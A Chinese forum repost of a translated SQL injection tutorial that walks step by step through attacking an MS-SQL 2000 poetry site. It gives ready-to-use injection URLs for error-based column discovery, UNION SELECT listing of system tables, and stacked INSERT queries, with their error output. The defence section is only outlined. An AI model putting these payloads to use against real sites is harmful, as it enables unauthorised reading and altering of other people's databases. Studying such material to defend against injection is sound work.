- 主题
- 0
- 积分
- 0
- 贝壳
- 0 个
- 来自
- 广东梅州
- 注册时间
- 2006-10-19
- 最后登录
- 2006-10-19
|
SQL注入的入侵,防范和原理[译:darkeyes]
By Stuart McDonald
译:darkeyes
原文链接:http://www.governmentsecurity.org/articles/SQLInjectionModesofAttackDefenceandWhyItMatters.php
摘录(Abstract)
sql injection攻击对任何使用数据库的站点都是一种严重的威胁,而这种攻击手法是很容易学会的,利用它,攻击者可以掌握站点的一些重要信息,甚至可以控制整个网站,而因特网上数量众多的站点却很容易遭到这种形式的攻击。
sql injection不只是一种潜在的危胁,而且也是一种只要有少量的安全常识和顾虑就可能被完全避免的威胁。此文将介绍一个使用sql injection的攻击者如何进行攻击以及怎样才是最好的防守。
介绍(introduction)
深入研究过“Programming 101”的开发者应该知道,对用户输入的数据进行验证,并确信这些数据是在自己程序设计的范围内,这是非常重要的,否则一旦攻击者提交了恶意的数据,它将会摧毁你的站点,这也意味着让你失业。
确信你的用户提交的数据中存在着标点符号,是很值得关注的问题,对这类数据进行验证有着更重要的理由,是因为它跟sql injection攻击有着直接的关系。
当我第一次接触到sql injection的教程时,只是勿勿地看了下,就尝试着找了个站点进行测试,在六个小时后,我己经完全控制了那个网站,并且是在没有运用高级工具的情况下做到的。
sql injection并不是一种“dark art”,它也不是一种最新的技术,因为关于sql 注入攻击技术的教程和参考文献在网上己经有很多,有一些教程出来己经有一年多了。但是到今天,还是有很多站点很容易遭到sql 注入攻击,就象摘一颗苹果树上长得最低的苹果那么容易。
攻击者不仅可以手动检测存在“sql注入”漏洞的网站,还可以使用自动化的工具,比如象wpoison(darkeyes注:一个sql injection的自动扫描工具,适用于linux平台),利用该工具来检测存在sql injection的站点会更方便,存在此漏洞的站点被攻击的几率也就更大了。
摘要(Summary)
本文有5个部分组成
第一部分-injection的原理:当然,这个很简单
包括了sql injection攻击的详细过程,它将会带着你解剖一次完整的攻击,并且让你确切地了解到攻击者是如何运用sql injection进行攻击和怎样才能更好地保护自己的站点免受这种攻击。
第二部分-先进的injection:存储过程对权限的影响(Sprocs and the leverage of your position)
一些更先进的sql injection攻击手法可以得到控制整个系统的权限,这部分讲解了预先安装在ms-sql数据库中用户自定义的存储过程和扩展的存储过程,这是微软的特性。
第三部分-防守:如何保护自己的站点
为开发者描述一种方法,可以使自己的站点和系统免受这种形式攻击。
第四部分-结论:看吧,问题就在这,
概述sql injection攻击的威胁为什么如此严重。
第五部分-参考文献:其它的文献信息。
一份包括参考文献和附录的详细列表。
惯例
为了使文章看起来一目了然,我使用了几种颜色代码以及字体粗细来表示文章中不同的信息
所有url链接都是用蓝色的。
所有代码段都是用红色的。
所有错误信息都是用绿色的。
需要注意的是,尽管这里是用MS-SQL 2000数据库作为例子,但并不表示sql injection攻击仅仅适用于MS-SQL 2000数据库。
首先找了个诗歌的站点作为测试目标,该站点需要拥有权限才能更改数据库中诗歌的内容。
第一部分-injection的原理:对,它真的是非常容易的,
sql injection是一种web攻击手法,即使管理员勤打补丁,但只要开放了80端口,就有可能遭到这种web攻击。(AntiCrack. 27 May 2002)。
“sql injection通常是由于开发者利用‘字符串构造’技术来执行SQL 代码而产生的”(SQL Injection FAQ)
sql injection攻击的一般过程是:首先提交一些精心构造的语句到数据库中,并让其执行,然后利用系统的漏洞,进一步提升攻击者的权限。
许多其它的sql injection的教程是通过一个登录界面,或者一个搜索页面,来获得进入服务器的权限。为了不重复其它教程中的内容,我这里是通过变量来进行sql injection,目的是为了添加一些普通的信息到数据库中,而不是添加一个管理员帐号到用户表中,不过攻击的原理跟其它的教程是一样的,特别是SPI Dynamics and NGSSoftware 教程,只是在实际运用中有所不同。
这个收藏诗歌的站点使用的是MS-SQL 2000,该站点的数据库结构是很简单的,在我们进行实际的攻击活动中,碰到会是更加复杂的数据库结构。该站点有两个表,author和story,包括了诗人的names,nationality和age,以及诗的属性:title,blurb,poem和 aID。
站点收集了一些诗歌,我们的目标在没有经过授权的情况下,添加一首诗及其作者到数据库中。
针对变量的攻击(hacking the querystring)
以下是一首诗歌页面的url:
http://stuart/homebase/practical/index.asp?story=1
当你访问这个url时,你会看到网页上的标题(Welcome to Bangkok’s Worst Poetry.com),诗的标题(The Mating of the Mongolian Butterfly),名字(Stuart),国籍(Australian),年龄(32)和诗的内容(Par for the course…)。
从中可以看出,变量1跟页面上的诗歌内容是直接关联的。现在我们改变一下这个变量的值,把story后面的值赋为4,重新加载页面后返回:
http://stuart/homebase/practical/index.asp?story=4
现在页面显示的内容是Savage Henry的,尽管我们并没有通过点击链接进入到此页面。
下面,分析一下这段VB Script 代码是如何起作用的(为了简洁,己经略去了连接数据库的那部分)
<%
storyID=request("story")
StrSql0="SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID="&storyID&" AND a.aID=s.aID"
Rs0.Open StrSql0,oConn
%>
通过分析,我们可以了解到变量storyID并没通过任何验证就放到SQL 查询语句中了,这就表示可以提交任何数据作为storyID的值到SQL语句中,还可以提交一些命令语句到数据库中,而这些正是开发人员没有预想到的。这就是SQL Injection的原理。
中断变量(Breaking the querystring)
有两种方法可以让url报错,第一种,你可以添加一些SQL语句到URL中,如下:
http://stuart/homebase/practical/index.asp?story=3 AND someothercolumn=3
该页面返回如下的错误:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Invalid column name 'someothercolumn'.
/homebase/practical/index.asp, line 33
这表明当我们改变SQL语句的结构时,进行SQL Injection是可能的。
SQL语句从
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND a.aID=s.aID
变成了
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND someothercolumn=3 AND a.aID=s.aID
得到了列名“someothercolumn”并不存在的SQL报错信息。
第二种方法是使用单引号来使页面报错:
http://stuart/homebase/practical/index.asp?story=3'
得到如下的报错信息:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND a.aID=s.aID'.
/homebase/practical/index.asp, line 20
脚本执行中断了,因为我们在变量3后面输入了一个单引号,所以中断了SQL 语句。通过插入一个单引号,服务器上的SQL语句发生了如下的变化:
从
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 AND a.aID=s.aID
变成了
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3' AND a.aID=s.aID
单引号导致整个sql语句产生了未闭合引号的错误。
并不仅仅只有整型的数据才可以作为变量,另一个典型的例子是使用国籍名作为变量,如下所示:
http://stuart/homebase/practical/index_country.asp?country=laos
所对应的SQL语句为:
SELECT a,aID,a.aName FROM author a WHERE a.aNationality='laos'
注意到laos是一个字符型变量,当我们要再次更改url上的变量值时,只要添加一个引号到laos这个字符中,就会让整个SQL语句报错,如下所示:
http://stuart/homebase/practical/index_country.asp?country=la'os
SELECT a,aID,a.aName FROM author a WHERE a.aNationality='la'os'
一个单引号,又一次让整个SQL 语句出错了。
一般情况下,攻击者需要使用引号来中断SQL语句,即使一个站点使用的程序是非常的简单,攻击者还是能够像第一个例子中那样添加SQL语句。
探测数据库(Database foot printing)
为了能够成功地入侵数据库,攻击首先需要了解数据库中各个表的详细结构,这一步称作探测数据库,正如Beth Breidenbach所说,“‘Footprinting’或者说得到服务器上数据库的详细结构,然后决定如何攻击这个站点。”(Breidenbach. 2002)
根据服务器上数据库的复杂性,来选用相应的方法。而这里介绍的方法是最有效的,但也是效率最低的,另外的方法将在第二部分讲解,这里简单地提一下,是利用用户自定义的存储过程和扩展存储过程来实现的。
为了实现数据库的探测,就得让SQL语句报错,这样攻击者才能得到数据库中敏感的信息。
从报错的信息中可以得到很多有用信息的:报错信息不仅在开发程序时有用,而且在进行攻击时同样有用。
下面这个错误的信息是在我们添加引号后出现的:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ' AND a.aID=s.aID'.
/homebase/practical/index.asp, line 20
关键的信息是“AND a.aID-s.aID”,这就告诉了攻击者至少存在两个表在这个页面上起作用(注意:a和s是两个表的别名),这两个表是通过aID这个字段连接的。
如果攻击者在一个诗歌站点得到这样的信息,他就会猜测出aID可能是跟author ID有关,而a 和s 则分别跟author和story相关(要猜到p跟poem有关联也是件容易的事)。但我们并不需要猜测,利用报错信息,就可以得到我们想要的一切资料。
一个关键的地方是,返回的错误信息(AND a.aID=s.aID)并不是真正的表名,对开发者来说,这是一个好的习惯。当你使用别名的时候,并不需要使用整个表名就可以很方便地执行语句了。这个内容在第三部分教程中会详细讲解。
攻击者需要得到表中的其它字段名,为了做到这一步,就需要使用GROUP BY以及HAVING语句。
示例:
http://stuart/homebase/practical/index.asp?story=3%20HAVING%201=1--
在这里我们没有用到单引号,因为它并不是必要的。%20代表了一个空格,但重要的是最后面的两条横杠--,这两条横杠是用来注释的,它注释掉SQL语句中--后面的内容,整个SQL语句就变成:
SELECT s.sID,s.title,s.blurb,s.story,a.aName FROM story s, author a WHERE sID=3 HAVING 1=1-- AND a.aID=s.aID
--注释掉了最后面的那部分SQL语句,这一点是非常重要的,如果对--作了过滤,那么进行SQL Injecion攻击会变得更加困难。
现在我们得到如下的报错信息:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.sID' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/homebase/practical/index.asp, line 20
攻击者通过这一条错误信息知道存在一个列为s.sID。
继续使用HAVING,将会得到更多的敏感信息,但必须使用GROUP BY语句来配合它。攻击者可以利用更多的报错信息来得到其它的字段名,直到不再有报错信息产生。如下所示:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID%20having%201=1--
攻击者把s.sID加到url中,得到如下的报错信息,
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.title' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/homebase/practical/index.asp, line 20
现在他们又得到了下一个列名,s.title,把这个字段名也添加到地址栏中,重复刚才的过程:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title%20having%201=1--
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 's.blurb' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/homebase/practical/index.asp, line 20
接着又暴出了s.blurb等字段名,如果表中有很多列,那么要得到全部的字段名,会是一个相当漫长的过程。
为了得到表中所有的列名,继续提交如下的url:
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title,s.blurb,
s.story%20having%201=1--
返回:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'a.aName' is invalid in the select list because it is not contained in either an aggregate(总数) function or the GROUP BY clause.
/homebase/practical/index.asp, line 20
注意到报错信息己经转到下一个表了,这个表的别名是a。
当攻击者把所有列名都加入到url时,
http://stuart/homebase/practical/index.asp?story=3%20group%20by%20s.sID,s.title,
s.blurb,s.story,a.aName,a.aNationality,a.aAge%20having%201=1--
该url就不再返回错误,仅仅显示诗歌的标题是“King of the Soi by Chanet”。
总结一下,现在攻击者所掌握的信息:
1.此页面上有两个表的别名,'a'和's'
2.它们至少包括如下的字段(也可能存在另外一些字段,不过没有使用在此页面)
a. a:aID(最先知道的一个),aName,aNationality.aAge
b. s:sID,aID(ditto),title,blurb,story
3.通过aID这个字段,两个表建立了一种关系。
下一步是要得到完整的表名,这样才有可能插入一条纪录。
要得到表名,就需要了解一些MS-SQL 2000系统表的相关知识,sysobjects这个系统表包括了数据库正在使用的所有表名信息。
解决的方法取决于信息是如何显示的,在这个例子里,诗歌的内容是从数据库中导出,并显示到页面中,因此攻击者需要使用UNION SELECT语句来添加一个变量到SQL语句中,不过攻击者需要确信:一般的SELECT不会返回任何信息,而他们添加的变量却能够返回信息。
下面是刚开始时的语句。
SELECT s.sID,s.title,s.blurb,s.story,a.aName,a.aNationality,a.aAge FROM story s, author a WHERE sID=3 AND a.aID=s.aID
为了得到SysObjects系统表中的表名,需要使用如下的语句:
SELECT name FROM sysObjects WHERE xtype='U'
(U代表是用户定义表)
赋一个足够大的数值给story,使它返回一个并不存在的诗歌页面。然后使用UNION来添加其它语句,需要注意的事,除非存在同样数目的字段,否则union不会起作用。攻击者己经得到第一个表中的列数,现在需要添加一些数字到第二个表中,来使语句生效,如下:
SELECT s.sID,s.title,s.blurb,s.story,a.aName,a.aNationality,a.aAge FROM story s, author a WHERE sID=999 AND a.aID=s.aID UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype='U'
转换成如下的url
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,5,6,name%20FROM%20sysObjects%20WHERE%20xtype='U'--
返回的页面中有我们所期待的诗人的age以及字段名“author”(用红笔圈住的部分),另一些字段用6个数字填充,它们并不是有效的信息。
几个关键点:
a) 1,2,3,4,5,6只是用来填充无效的数据,只有最后一个值,name,才是重要的。
b)有时候会出现不兼容数据类型的错误信息,遇到此类情况时,需要查明引起错误提示的原因,将其转换成其它的类型,比如'one'{Occasionally an error will say the wrong data type has been used. In such cases, the field generating the error must be determined and switched to something quoted eg ‘one’}
c)这里'name'作为数据使用,在sysobjects系统表中,'name'包括了所有的表。
{‘name’ is used because it is the value being sought. In the sysObjects table the column ‘name’ contains the table names. }
d)不要忘了后面的两条横杠,它用来注释掉那些可能会导致错误的语句。
现在攻击者得到了author这个表名,接着他们会得到其它的表名。
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,
5,6,name%20FROM%20sysObjects%20WHERE%20(xtype='U'%20AND%20(name<>'author'%20))--
现在攻击者己经知道存在两个表名,author 和 story,并且至少包括以下的属性
a.author:aID,aName,aNationality,aAge
s.story:sID,aID,blurb,story
通过SQL Injection来检查表中的列并不适当{Checking cannot be overdone in SQL injection},不过这里还是有必要检测出每个表中的列数,SysObjects系统可以用来做到这一点,不过并不是调用‘name’,而是调用‘info’,它会返回表中列的个数。
语句如下:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4
,5,6,info%20FROM%20sysObjects%20WHERE%20(name='author')--
这里返回了4,说明了author表中有四个字段,下面是story这个表:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,
5,6,info%20FROM%20sysObjects%20WHERE%20(name=’story')--
这里返回了6,不过我们先前己经得到其中的五个列名(a problem as we have only determined 5 of the columns)。
要得到表中余下的列名,最好的办法还是使用SysObjects系统表,不过需要使用SysColumns配合,方法如下:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,5,6,sys
Columns.name%20FROM%20sysObjects,sysColumns%20WHERE%20(sysObjects.id=sysColumns.id AND sysObjects.name='story' AND sysColumns.name not like 'sID' AND sysColumns.name not like 'aID' AND sysColumns.name not like 'title' AND sysColumns.name not like 'blurb' AND sysColumns.name not like 'story')--
返回‘storydate‘这个表名。
在发布一首诗歌前,还需要检查每个列的数据类型,对于本例,严格地来说这一步并不必要的,不过这里还是要演示一下如何进行检查:
http://stuart/homebase/practical/index.asp?story=334%20union%20select%20sum(aID)%20from%20author--
通过页面的报错信息,可以得到每个列的数据类型。
轮流用其它的列名替换到语句中的aID的,如果一个列的数据类型是数值型,就会返回如下的错误:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/homebase/practical/index.asp, line 20
如果一个列的数据类型是字符型,如:
http://stuart/homebase/practical/index.asp?story=334%20union
%20select%20sum(aName)%20from%20author--
则返回:
Error Type:
Microsoft OLE DB Provider for ODBC Drivers (0x80040E07)
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/homebase/practical/index.asp, line 20
通过如上的检测过程,掌握了以下的信息:
a.author: aID(int), aName(varchar),aNationality(varchar),aAge(varchar)
s.story: sID(int),aID(int), title(varchar),blurb(varchar),story(varchar),storydate(varchar)
添加未经授权的数据(Adding unauthorised data)
通过探测数据库,攻击者己经掌握了很多有用的信息,要插入一条有效的信息到数据库中,也是一件轻而易举的事。
首先攻击者插入一个诗人的信息,内容如下:
INSERT INTO author VALUES (‘Dante’,’Italian’,’89’)
http://stuart/homebase/practical/index.asp?story=999;INSERT%20INTO%20author%20
VALUES%20('Dante','Italian','89')--
没有错误信息返回,看来这条记录己经成功地插入到数据库中,但是,攻击者还需要知道这条记录在story表中的aID值。
为了得到该记录具体的aID值,执行如下的语句:
http://stuart/homebase/practical/index.asp?story=334%20UNION%20ALL%20SELECT%201,2,3,4,
5,6,aID%20FROM%20author%20WHERE%20(aName='Dante')--
返回为10,这就是‘Dante’这条记录的aID值。
最后一步就是要插入一首诗歌的记录到story表中
s.story: sID(int),aID(int), title(varchar),blurb(varchar),story(varchar),storydate(varchar)
再执行一次INSERT语句,如下所示:
INSERT INTO story VALUES (10,’I love som tam’,’som tam is a spicy Thai salad and this is a poem about it’,’som tam is so spicy(辛辣), It makes my mouth burn’)
具体的url为:
http://stuart/homebase/practical/index.asp?story=999; INSERT INTO story VALUES (10,’I love som tam’,’som tam is a spicy Thai salad and this is a poem about it’,’som tam is so spicy, It makes my mouth burn’,’2000/12/12’)--
如果没有返回错误信息,则说明己经成功插入到数据库中,不过还是需要得到其中的sID值,再执行一次刚才得到aID值类似的过程,页面返回了sID的值为9。
http://stuart/homebase/practical/index.asp?story=9
进入这个链接,就会看到页面中显示的是刚才添加的记录。
|
|